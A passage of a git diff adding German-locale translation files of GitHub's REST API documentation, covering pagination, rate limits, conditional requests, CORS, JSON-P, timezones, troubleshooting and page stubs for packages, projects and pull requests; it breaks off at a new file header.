+    Link: <{% data variables.product.api_url_code %}/user/repos?page=3&per_page=100>; rel="next",
+      <{% data variables.product.api_url_code %}/user/repos?page=50&per_page=100>; rel="last"
+
+_The example includes a line break for readability._
+
+Or, if the endpoint uses cursor-based pagination:
+
+    Link: <{% data variables.product.api_url_code %}/orgs/ORG/audit-log?after=MTYwMTkxOTU5NjQxM3xZbGI4VE5EZ1dvZTlla09uWjhoZFpR&before=>; rel="next",
+
+This `Link` response header contains one or more [Hypermedia](/rest#hypermedia) link relations, some of which may require expansion as [URI templates](https://datatracker.ietf.org/doc/html/rfc6570).
+
+The possible `rel` values are:
+
+Name | Description
+-----------|-----------|
+`next` |The link relation for the immediate next page of results.
+`last` |The link relation for the last page of results.
+`first` |The link relation for the first page of results.
+`prev` |The link relation for the immediate previous page of results.
+
+## Timeouts
+
+If {% data variables.product.prodname_dotcom %} takes more than 10 seconds to process an API request, {% data variables.product.prodname_dotcom %} will terminate the request and you will receive a timeout response like this:
+
+```json
+{
+    "message": "Server Error"
+}
+```
+
+{% data variables.product.product_name %} reserves the right to change the timeout window to protect the speed and reliability of the API.
+
+## Rate limiting
+
+Different types of API requests to {% data variables.location.product_location %} are subject to different rate limits. 
+
+Additionally, the Search API has dedicated limits. For more information, see "[Search](/rest/reference/search#rate-limit)" in the REST API documentation.
+
+{% data reusables.enterprise.rate_limit %}
+
+{% data reusables.rest-api.always-check-your-limit %}
+
+### Requests from personal accounts
+
+Direct API requests that you authenticate with a {% data variables.product.pat_generic %} are user-to-server requests. An OAuth App or GitHub App can also make a user-to-server request on your behalf after you authorize the app. For more information, see "[Creating a {% data variables.product.pat_generic %}](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)," "[Authorizing OAuth Apps](/authentication/keeping-your-account-and-data-secure/authorizing-oauth-apps)," and "[Authorizing GitHub Apps](/authentication/keeping-your-account-and-data-secure/authorizing-github-apps)."
+
+{% data variables.product.product_name %} associates all user-to-server requests with the authenticated user. For OAuth Apps and GitHub Apps, this is the user who authorized the app. All user-to-server requests count toward the authenticated user's rate limit.
+
+{% data reusables.apps.user-to-server-rate-limits %}
+
+{% ifversion fpt or ghec %}
+
+{% data reusables.apps.user-to-server-rate-limits-ghec %}
+
+{% ifversion fpt or ghec or ghes %}
+
+For unauthenticated requests, the rate limit allows for up to 60 requests per hour. Unauthenticated requests are associated with the originating IP address, and not the person making requests.
+
+{% endif %}
+
+{% endif %}
+
+### Requests from GitHub Apps
+
+Requests from a GitHub App may be either user-to-server or server-to-server requests. For more information about rate limits for GitHub Apps, see "[Rate limits for GitHub Apps](/developers/apps/building-github-apps/rate-limits-for-github-apps)." 
+
+### Requests from GitHub Actions
+
+You can use the built-in `GITHUB_TOKEN` to authenticate requests in GitHub Actions workflows. For more information, see "[Automatic token authentication](/actions/security-guides/automatic-token-authentication)."
+
+When using `GITHUB_TOKEN`, the rate limit is 1,000 requests per hour per repository.{% ifversion fpt or ghec %} For requests to resources that belong to an enterprise account on {% data variables.location.product_location %}, {% data variables.product.prodname_ghe_cloud %}'s rate limit applies, and the limit is 15,000 requests per hour per repository.{% endif %}
+
+### Checking your rate limit status
+
+The Rate Limit API and a response's HTTP headers are authoritative sources for the current number of API calls available to you or your app at any given time.
+
+#### Rate Limit API
+
+You can use the Rate Limit API to check your rate limit status without incurring a hit to the current limit. For more information, see "[Rate limit](/rest/reference/rate-limit)."
+
+#### Rate limit HTTP headers
+
+The returned HTTP headers of any API request show your current rate limit status:
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %}/users/octocat
+> HTTP/2 200
+> Date: Mon, 01 Jul 2013 17:27:06 GMT
+> x-ratelimit-limit: 60
+> x-ratelimit-remaining: 56
+> x-ratelimit-used: 4
+> x-ratelimit-reset: 1372700873
+```
+
+Header Name | Description
+-----------|-----------|
+`x-ratelimit-limit` | The maximum number of requests you're permitted to make per hour.
+`x-ratelimit-remaining` | The number of requests remaining in the current rate limit window.
+`x-ratelimit-used` | The number of requests you've made in the current rate limit window.
+`x-ratelimit-reset` | The time at which the current rate limit window resets in [UTC epoch seconds](http://en.wikipedia.org/wiki/Unix_time).
+
+If you need the time in a different format, any modern programming language can get the job done. For example, if you open up the console on your web browser, you can easily get the reset time as a JavaScript Date object.
+
+``` javascript
+new Date(1372700873 * 1000)
+// => Mon Jul 01 2013 13:47:53 GMT-0400 (EDT)
+```
+
+If you exceed the rate limit, an error response returns:
+
+```shell
+> HTTP/2 403
+> Date: Tue, 20 Aug 2013 14:50:41 GMT
+> x-ratelimit-limit: 60
+> x-ratelimit-remaining: 0
+> x-ratelimit-used: 60
+> x-ratelimit-reset: 1377013266
+
+> {
+>    "message": "API rate limit exceeded for xxx.xxx.xxx.xxx. (But here's the good news: Authenticated requests get a higher rate limit. Check out the documentation for more details.)",
+>    "documentation_url": "{% data variables.product.doc_url_pre %}/overview/resources-in-the-rest-api#rate-limiting"
+> }
+```
+
+### Increasing the unauthenticated rate limit for OAuth Apps
+
+If your OAuth App needs to make unauthenticated calls with a higher rate limit, you can pass your app's client ID and secret before the endpoint route.
+
+```shell
+$ curl -u my_client_id:my_client_secret -I {% data variables.product.api_url_pre %}/user/repos
+> HTTP/2 200
+> Date: Mon, 01 Jul 2013 17:27:06 GMT
+> x-ratelimit-limit: 5000
+> x-ratelimit-remaining: 4966
+> x-ratelimit-used: 34
+> x-ratelimit-reset: 1372700873
+```
+
+{% note %}
+
+**Note:** Never share your client secret with anyone or include it in client-side browser code. Use the method shown here only for server-to-server calls.
+
+{% endnote %}
+
+### Staying within the rate limit
+
+If you exceed your rate limit using Basic Authentication or OAuth, you can likely fix the issue by caching API responses and using [conditional requests](#conditional-requests).
+
+### Secondary rate limits
+
+In order to provide quality service on {% data variables.product.product_name %}, additional rate limits may apply to some actions when using the API. For example, using the API to rapidly create content, poll aggressively instead of using webhooks, make multiple concurrent requests, or repeatedly request data that is computationally expensive may result in secondary rate limiting.
+
+Secondary rate limits are not intended to interfere with legitimate use of the API. Your normal rate limits should be the only limit you target. To ensure you're acting as a good API citizen, check out our [Best Practices guidelines](/guides/best-practices-for-integrators/).
+
+If your application triggers this rate limit, you'll receive an informative response:
+
+```shell
+> HTTP/2 403
+> Content-Type: application/json; charset=utf-8
+> Connection: close
+
+> {
+>   "message": "You have exceeded a secondary rate limit and have been temporarily blocked from content creation. Please retry your request again later.",
+>   "documentation_url": "{% data variables.product.doc_url_pre %}/overview/resources-in-the-rest-api#secondary-rate-limits"
+> }
+```
+
+{% ifversion fpt or ghec %}
+
+## User agent required
+
+All API requests MUST include a valid `User-Agent` header. Requests with no `User-Agent`
+header will be rejected. We request that you use your {% data variables.product.product_name %} username, or the name of your
+application, for the `User-Agent` header value. This allows us to contact you if there are problems.
+
+Here's an example:
+
+```shell
+User-Agent: Awesome-Octocat-App
+```
+
+cURL sends a valid `User-Agent` header by default. If you provide an invalid `User-Agent` header via cURL (or via an alternative client), you will receive a `403 Forbidden` response:
+
+```shell
+$ curl -IH 'User-Agent: ' {% data variables.product.api_url_pre %}/meta
+> HTTP/1.0 403 Forbidden
+> Connection: close
+> Content-Type: text/html
+
+> Request forbidden by administrative rules.
+> Please make sure your request has a User-Agent header.
+> Check  for other possible causes.
+```
+
+{% endif %}
+
+## Conditional requests
+
+Most responses return an `ETag` header. Many responses also return a `Last-Modified` header. You can use the values
+of these headers to make subsequent requests to those resources using the
+`If-None-Match` and `If-Modified-Since` headers, respectively. If the resource
+has not changed, the server will return a `304 Not Modified`.
+
+{% ifversion fpt or ghec %}
+
+{% tip %}
+
+**Note**: Making a conditional request and receiving a 304 response does not
+count against your [Rate Limit](#rate-limiting), so we encourage you to use it
+whenever possible.
+
+{% endtip %}
+
+{% endif %}
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %}/user
+> HTTP/2 200
+> Cache-Control: private, max-age=60
+> ETag: "644b5b0155e6404a9cc4bd9d8b1ae730"
+> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT
+> Vary: Accept, Authorization, Cookie
+> x-ratelimit-limit: 5000
+> x-ratelimit-remaining: 4996
+> x-ratelimit-reset: 1372700873
+
+$ curl -I {% data variables.product.api_url_pre %}/user -H 'If-None-Match: "644b5b0155e6404a9cc4bd9d8b1ae730"'
+> HTTP/2 304
+> Cache-Control: private, max-age=60
+> ETag: "644b5b0155e6404a9cc4bd9d8b1ae730"
+> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT
+> Vary: Accept, Authorization, Cookie
+> x-ratelimit-limit: 5000
+> x-ratelimit-remaining: 4996
+> x-ratelimit-reset: 1372700873
+
+$ curl -I {% data variables.product.api_url_pre %}/user -H "If-Modified-Since: Thu, 05 Jul 2012 15:31:30 GMT"
+> HTTP/2 304
+> Cache-Control: private, max-age=60
+> Last-Modified: Thu, 05 Jul 2012 15:31:30 GMT
+> Vary: Accept, Authorization, Cookie
+> x-ratelimit-limit: 5000
+> x-ratelimit-remaining: 4996
+> x-ratelimit-reset: 1372700873
+```
+
+## Cross origin resource sharing
+
+The API supports Cross Origin Resource Sharing (CORS) for AJAX requests from
+any origin.
+You can read the [CORS W3C Recommendation](http://www.w3.org/TR/cors/), or
+[this intro](https://code.google.com/archive/p/html5security/wikis/CrossOriginRequestSecurity.wiki) from the
+HTML 5 Security Guide.
+
+Here's a sample request sent from a browser hitting
+`http://example.com`:
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com"
+HTTP/2 302
+Access-Control-Allow-Origin: *
+Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval
+```
+
+This is what the CORS preflight request looks like:
+
+```shell
+$ curl -I {% data variables.product.api_url_pre %} -H "Origin: http://example.com" -X OPTIONS
+HTTP/2 204
+Access-Control-Allow-Origin: *
+Access-Control-Allow-Headers: Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-GitHub-OTP, X-Requested-With
+Access-Control-Allow-Methods: GET, POST, PATCH, PUT, DELETE
+Access-Control-Expose-Headers: ETag, Link, X-GitHub-OTP, x-ratelimit-limit, x-ratelimit-remaining, x-ratelimit-reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval
+Access-Control-Max-Age: 86400
+```
+
+## JSON-P callbacks
+
+You can send a `?callback` parameter to any GET call to have the results
+wrapped in a JSON function.  This is typically used when browsers want
+to embed {% data variables.product.product_name %} content in web pages by getting around cross domain
+issues.  The response includes the same data output as the regular API,
+plus the relevant HTTP Header information.
+
+```shell
+$ curl {% data variables.product.api_url_pre %}?callback=foo
+
+> /**/foo({
+>   "meta": {
+>     "status": 200,
+>     "x-ratelimit-limit": "5000",
+>     "x-ratelimit-remaining": "4966",
+>     "x-ratelimit-reset": "1372700873",
+>     "Link": [ // pagination headers and other links
+>       ["{% data variables.product.api_url_pre %}?page=2", {"rel": "next"}]
+>     ]
+>   },
+>   "data": {
+>     // the data
+>   }
+> })
+```
+
+You can write a JavaScript handler to process the callback. Here's a minimal example you can try out:
+
+    <html>
+    <head>
+    <script type="text/javascript">
+    function foo(response) {
+      var meta = response.meta;
+      var data = response.data;
+      console.log(meta);
+      console.log(data);
+    }
+
+    var script = document.createElement('script');
+    script.src = '{% data variables.product.api_url_code %}?callback=foo';
+
+    document.getElementsByTagName('head')[0].appendChild(script);
+    </script>
+    </head>
+
+    <body>
+      <p>Open up your browser's console.</p>
+    </body>
+    </html>
+
+All of the headers are the same String value as the HTTP Headers with one
+notable exception: Link.  Link headers are pre-parsed for you and come
+through as an array of `[url, options]` tuples.
+
+A link that looks like this:
+
+    Link: <url1>; rel="next", <url2>; rel="foo"; bar="baz"
+
+... will look like this in the Callback output:
+
+```json
+{
+  "Link": [
+    [
+      "url1",
+      {
+        "rel": "next"
+      }
+    ],
+    [
+      "url2",
+      {
+        "rel": "foo",
+        "bar": "baz"
+      }
+    ]
+  ]
+}
+```
+
+## Timezones
+
+Some requests that create new data, such as creating a new commit, allow you to provide time zone information when specifying or generating timestamps. We apply the following rules, in order of priority, to determine timezone information for such API calls.
+
+* [Explicitly providing an ISO 8601 timestamp with timezone information](#explicitly-providing-an-iso-8601-timestamp-with-timezone-information)
+* [Using the `Time-Zone` header](#using-the-time-zone-header)
+* [Using the last known timezone for the user](#using-the-last-known-timezone-for-the-user)
+* [Defaulting to UTC without other timezone information](#defaulting-to-utc-without-other-timezone-information)
+
+Note that these rules apply only to data passed to the API, not to data returned by the API. As mentioned in "[Schema](#schema)," timestamps returned by the API are in UTC time, ISO 8601 format.
+
+### Explicitly providing an ISO 8601 timestamp with timezone information
+
+For API calls that allow for a timestamp to be specified, we use that exact timestamp. An example of this is the [Commits API](/rest/reference/git#commits).
+
+These timestamps look something like `2014-02-27T15:05:06+01:00`. Also see [this example](/rest/reference/git#example-input) for how these timestamps can be specified.
+
+### Using the `Time-Zone` header
+
+It is possible to supply a `Time-Zone` header which defines a timezone according to the [list of names from the Olson database](https://en.wikipedia.org/wiki/List_of_tz_database_time_zones).
+
+```shell
+$ curl -H "Time-Zone: Europe/Amsterdam" -X POST {% data variables.product.api_url_pre %}/repos/github/linguist/contents/new_file.md
+```
+
+This means that we generate a timestamp for the moment your API call is made in the timezone this header defines. For example, the [Contents API](/rest/reference/repos#contents) generates a git commit for each addition or change and uses the current time as the timestamp. This header will determine the timezone used for generating that current timestamp.
+
+### Using the last known timezone for the user
+
+If no `Time-Zone` header is specified and you make an authenticated call to the API, we use the last known timezone for the authenticated user. The last known timezone is updated whenever you browse the {% data variables.product.product_name %} website.
+
+### Defaulting to UTC without other timezone information
+
+If the steps above don't result in any information, we use UTC as the timezone to create the git commit.
+
+[pagination-guide]: /guides/traversing-with-pagination
diff --git a/translations/de-DE/content/rest/overview/troubleshooting.md b/translations/de-DE/content/rest/overview/troubleshooting.md
new file mode 100644
index 0000000000..bcb8e7f189
--- /dev/null
+++ b/translations/de-DE/content/rest/overview/troubleshooting.md
@@ -0,0 +1,71 @@
+---
+title: Troubleshooting
+intro: Learn how to resolve the most common problems people encounter in the REST API.
+redirect_from:
+  - /v3/troubleshooting
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+---
+
+
+
+If you're encountering some oddities in the API, here's a list of resolutions to
+some of the problems you may be experiencing.
+
+## `404` error for an existing repository
+
+Typically, we send a `404` error when your client isn't properly authenticated.
+You might expect to see a `403 Forbidden` in these cases. However, since we don't
+want to provide _any_ information about private repositories, the API returns a
+`404` error instead.
+
+To troubleshoot, ensure [you're authenticating correctly](/guides/getting-started/), [your OAuth access token has the required scopes](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/), [third-party application restrictions][oap-guide] are not blocking access, and that [the token has not expired or been revoked](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).
+
+## Not all results returned
+
+Most API calls accessing a list of resources (_e.g._, users, issues, _etc._) support
+pagination. If you're making requests and receiving an incomplete set of results, you're
+probably only seeing the first page. You'll need to request the remaining pages
+in order to get more results.
+
+It's important to *not* try and guess the format of the pagination URL. Not every
+API call uses the same structure. Instead, extract the pagination information from
+[the Link Header](/rest#pagination), which is sent with every request.
+
+[oap-guide]: https://developer.github.com/changes/2015-01-19-an-integrators-guide-to-organization-application-policies/
+
+{% ifversion fpt or ghec %}
+## Basic authentication errors
+
+On November 13, 2020 username and password authentication to the REST API and the OAuth Authorizations API were deprecated and no longer work.
+
+### Using `username`/`password` for basic authentication
+
+If you're using `username` and `password` for API calls, then they are no longer able to authenticate. For example:
+
+```bash
+curl -u my_user:my_password https://api.github.com/user/repos
+```
+
+Instead, use a [{% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token-for-the-command-line) when testing endpoints or doing local development:
+
+```bash
+curl -H 'Authorization: Bearer my_access_token' https://api.github.com/user/repos
+```
+
+For OAuth Apps, you should use the [web application flow](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow) to generate an OAuth token to use in the API call's header:
+
+```bash
+curl -H 'Authorization: Bearer my-oauth-token' https://api.github.com/user/repos
+```
+
+## Timeouts
+
+If  {% data variables.product.product_name %} takes more than 10 seconds to process an API request, {% data variables.product.product_name %} will terminate the request and you will receive a timeout response.
+
+{% endif %}
diff --git a/translations/de-DE/content/rest/packages.md b/translations/de-DE/content/rest/packages.md
new file mode 100644
index 0000000000..9388be2f7f
--- /dev/null
+++ b/translations/de-DE/content/rest/packages.md
@@ -0,0 +1,25 @@
+---
+title: Packages
+intro: 'With the {% data variables.product.prodname_registry %} API, you can manage packages for your {% data variables.product.prodname_dotcom %} repositories and organizations.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/packages
+---
+
+## About the {% data variables.product.prodname_registry %} API
+
+The {% data variables.product.prodname_registry %} API enables you to manage packages using the REST API. To learn more about restoring or deleting packages, see "[Restoring and deleting packages](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+
+To use this API, you must authenticate using a {% data variables.product.pat_v1 %}.
+  - To access package metadata, your token must include the `read:packages` scope.
+  - To delete packages and package versions, your token must include the `read:packages` and `delete:packages` scopes.
+  - To restore packages and package versions, your token must include the `read:packages` and `write:packages` scopes.
+
+If your `package_type` is `npm`, `maven`, `rubygems`, or `nuget`, then your token must also include the `repo` scope since your package inherits permissions from a {% data variables.product.prodname_dotcom %} repository. If your package is in the {% data variables.product.prodname_container_registry %}, then your `package_type` is `container` and your token does not need the `repo` scope to access or manage this `package_type`. `container` packages offer granular permissions separate from a repository. For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages#about-scopes-and-permissions-for-package-registries)."
+
+If you want to use the {% data variables.product.prodname_registry %} API to access resources in an organization with SSO enabled, then you must enable SSO for your {% data variables.product.pat_v1 %}. For more information, see "[Authorizing a {% data variables.product.pat_generic %} for use with SAML single sign-on](/github/authenticating-to-github/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
diff --git a/translations/de-DE/content/rest/pages.md b/translations/de-DE/content/rest/pages.md
new file mode 100644
index 0000000000..d40055a80e
--- /dev/null
+++ b/translations/de-DE/content/rest/pages.md
@@ -0,0 +1,21 @@
+---
+title: Seiten
+intro: 'Die GitHub Pages-API ermöglicht dir, mit GitHub Pages-Websites zu interagieren und Informationen zu erstellen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+redirect_from:
+  - /rest/reference/pages
+ms.openlocfilehash: 6a4902cb0b0a5fd8bfa319cb0385df1d2de64346
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147064210'
+---
+
diff --git a/translations/de-DE/content/rest/projects/cards.md b/translations/de-DE/content/rest/projects/cards.md
new file mode 100644
index 0000000000..7548e17ced
--- /dev/null
+++ b/translations/de-DE/content/rest/projects/cards.md
@@ -0,0 +1,21 @@
+---
+title: '{% data variables.product.prodname_project_v1_caps %}-Karten'
+shortTitle: Cards
+allowTitleToDifferFromFilename: true
+intro: 'Mit der Karten-API für {% data variables.product.prodname_project_v1 %} kannst du Karten auf einem {% data variables.projects.projects_v1_board %} erstellen und verwalten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 5e923c48ae6b5026ad5eaf518320e33f477e1926
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881868'
+---
+{% data reusables.projects.projects-api %}
diff --git a/translations/de-DE/content/rest/projects/collaborators.md b/translations/de-DE/content/rest/projects/collaborators.md
new file mode 100644
index 0000000000..6ffe149b32
--- /dev/null
+++ b/translations/de-DE/content/rest/projects/collaborators.md
@@ -0,0 +1,21 @@
+---
+title: '{% data variables.product.prodname_project_v1_caps %}-Mitarbeiter'
+shortTitle: Collaborators
+allowTitleToDifferFromFilename: true
+intro: 'Mit der Mitarbeiter-API für {% data variables.product.prodname_project_v1 %} kannst du Mitarbeiter*innen auf einem {% data variables.projects.projects_v1_board %} erstellen und verwalten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 72473eabf86bc1eab841b86a85acfdf9ffe6bb01
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423060'
+---
+{% data reusables.projects.projects-api %}
diff --git a/translations/de-DE/content/rest/projects/columns.md b/translations/de-DE/content/rest/projects/columns.md
new file mode 100644
index 0000000000..50f1b8d070
--- /dev/null
+++ b/translations/de-DE/content/rest/projects/columns.md
@@ -0,0 +1,21 @@
+---
+title: '{% data variables.product.prodname_project_v1_caps %}-Spalten'
+shortTitle: Columns
+allowTitleToDifferFromFilename: true
+intro: 'Mit der Spalten-API für {% data variables.product.prodname_project_v1 %} kannst du Spalten auf einem {% data variables.projects.projects_v1_board %} erstellen und verwalten.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 8804dd9fafb1dd8142c50e30db36cc5daf7c04df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423068'
+---
+{% data reusables.projects.projects-api %}
diff --git a/translations/de-DE/content/rest/projects/index.md b/translations/de-DE/content/rest/projects/index.md
new file mode 100644
index 0000000000..559903e6ec
--- /dev/null
+++ b/translations/de-DE/content/rest/projects/index.md
@@ -0,0 +1,28 @@
+---
+title: '{% data variables.product.prodname_projects_v1_caps %}'
+intro: 'Mit der {% data variables.product.prodname_projects_v1 %}-API kannst du {% data variables.projects.projects_v1_boards %} erstellen, auflisten, aktualisieren, löschen und anpassen.'
+redirect_from:
+  - /v3/projects
+  - /rest/reference/projects
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+children:
+  - /projects
+  - /cards
+  - /collaborators
+  - /columns
+ms.openlocfilehash: 815c82656605773c4bda0750f331f819ca39551e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147423040'
+---
+
diff --git a/translations/de-DE/content/rest/projects/projects.md b/translations/de-DE/content/rest/projects/projects.md
new file mode 100644
index 0000000000..1a6b0a537f
--- /dev/null
+++ b/translations/de-DE/content/rest/projects/projects.md
@@ -0,0 +1,18 @@
+---
+title: '{% data variables.product.prodname_projects_v1_caps %}'
+shortTitle: Boards
+allowTitleToDifferFromFilename: true
+intro: 'The {% data variables.product.prodname_projects_v1 %} API lets you create and manage {% data variables.projects.projects_v1_boards %} in a repository.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+---
+
+{% data reusables.projects.projects-api %}
+
+{% data reusables.user-settings.classic-projects-api-classic-pat-only %}
diff --git a/translations/de-DE/content/rest/pulls/comments.md b/translations/de-DE/content/rest/pulls/comments.md
new file mode 100644
index 0000000000..1be36830c4
--- /dev/null
+++ b/translations/de-DE/content/rest/pulls/comments.md
@@ -0,0 +1,34 @@
+---
+title: Pull-Request-Review-Kommentare
+shortTitle: Review comments
+intro: ''
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+allowTitleToDifferFromFilename: true
+ms.openlocfilehash: 6d49aa3d5bca7f74a21c1cce32cecd38abe9366d
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147067730'
+---
+## Informationen zur API für Pull Request-Review-Kommentare
+
+Pull Request-Review-Kommentare sind Kommentare zu einem Teil des vereinheitlichten Formats, der während einer Pull Request-Review vorgenommen wurde. Commit- und Issue-Kommentare unterscheiden sich von Pull Request-Review-Kommentaren. Du wendest Commit-Kommentare direkt auf einen Commit an und du wendest Issue-Kommentare an, ohne auf einen Teil des vereinheitlichten Formats zu verweisen. Weitere Informationen findest du unter [Erstellen eines Commit-Kommentars](/rest/reference/commits#create-a-commit-comment) und [Erstellen eines Issue-Kommentars](/rest/reference/issues#create-an-issue-comment).
+
+### Benutzerdefinierte Medientypen für Pull Request-Review-Kommentare
+
+Dies sind die unterstützten Medientypen für Pull Request-Review-Kommentare.
+
+    application/vnd.github.VERSION.raw+json
+    application/vnd.github.VERSION.text+json
+    application/vnd.github.VERSION.html+json
+    application/vnd.github.VERSION.full+json
+
+Weitere Informationen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
diff --git a/translations/de-DE/content/rest/pulls/index.md b/translations/de-DE/content/rest/pulls/index.md
new file mode 100644
index 0000000000..da15dad52e
--- /dev/null
+++ b/translations/de-DE/content/rest/pulls/index.md
@@ -0,0 +1,27 @@
+---
+title: Pulls
+intro: 'Mit der Pulls-API kannst du Pull Requests auflisten, anzeigen, bearbeiten, erstellen und sogar mergen.'
+redirect_from:
+  - /v3/pulls
+  - /rest/reference/pulls
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+children:
+  - /pulls
+  - /comments
+  - /review-requests
+  - /reviews
+ms.openlocfilehash: bf45bc68828c7c2723877f5568f75de3ed0b9a92
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147065274'
+---
+
diff --git a/translations/de-DE/content/rest/pulls/pulls.md b/translations/de-DE/content/rest/pulls/pulls.md
new file mode 100644
index 0000000000..b2235966d4
--- /dev/null
+++ b/translations/de-DE/content/rest/pulls/pulls.md
@@ -0,0 +1,53 @@
+---
+title: Pulls
+intro: 'Mit der Pulls-API kannst du Pull Requests auflisten, anzeigen, bearbeiten, erstellen und sogar mergen.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - API
+miniTocMaxHeadingLevel: 3
+ms.openlocfilehash: 80e4a5a5257a8f2615b402567f91daa9e68a0077
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145109100'
+---
+## Informationen zur Pull Request-API
+
+Mit der Pull Request-API kannst du Pull Requests auflisten, anzeigen, bearbeiten, erstellen und sogar mergen. Kommentare zu Pull Requests können über die [Issue-Kommentar-API](/rest/reference/issues#comments) verwaltet werden.
+
+Jeder Pull Request ist ein Issue, aber nicht jedes Issue ist ein Pull Request. Aus diesem Grund erflgen „gemeinsame“ Aktionen für beide Features, z. B. das Ändern von zugewiesenen Personen, Bezeichnungen und Meilensteinen, über die [Issues-API](/rest/reference/issues).
+
+### Benutzerdefinierte Medientypen für Pull Requests
+
+Die folgenden Medientypen werden für Pull Requests unterstützt.
+
+    application/vnd.github.VERSION.raw+json
+    application/vnd.github.VERSION.text+json
+    application/vnd.github.VERSION.html+json
+    application/vnd.github.VERSION.full+json
+    application/vnd.github.VERSION.diff
+    application/vnd.github.VERSION.patch
+
+Weitere Informationen findest du unter [Benutzerdefinierte Medientypen](/rest/overview/media-types).
+
+Wenn ein Diff beschädigt ist, wende dich an {% data variables.contact.contact_support %}. Füge den Repositorynamen und die Pull Request-ID in deine Nachricht ein.
+
+### Linkbeziehungen
+
+Pull Requests weisen diese möglichen Linkbeziehungen auf:
+
+Name | BESCHREIBUNG
+-----|-----------|
+`self`| Der API-Speicherort dieses Pull Requests.
+`html`| Der HTML-Speicherort dieses Pull Requests.
+`issue`| Der API-Speicherort des [Issues](/rest/reference/issues) dieses Pull Requests.
+`comments`| Der API-Speicherort der [Issue-Kommentare](/rest/reference/issues#comments) dieses Pull Requests.
+`review_comments`| Der API-Speicherort der [Review-Kommentare](/rest/reference/pulls#comments) dieses Pull Requests.
+`review_comment`| Die [URL-Vorlage](/rest#hypermedia), um den API-Speicherort für einen [Review-Kommentar](/rest/reference/pulls#comments) im Repository dieses Pull Requests zu erstellen.
+`commits`|Der API-Speicherort der [Commits](#list-commits-on-a-pull-request) dieses Pull Requests.
+`statuses`| Der API-Speicherort der [Commit-Status](/rest/reference/commits#commit-statuses) dieses Pull Requests, d. h. der Status des Branches `head`.
diff --git a/translations/de-DE/content/rest/pulls/review-requests.md b/translations/de-DE/content/rest/pulls/review-requests.md
new file mode 100644
index 0000000000..50e3bb9118
--- /dev/null
+++ b/translations/de-DE/content/rest/pulls/review-requests.md
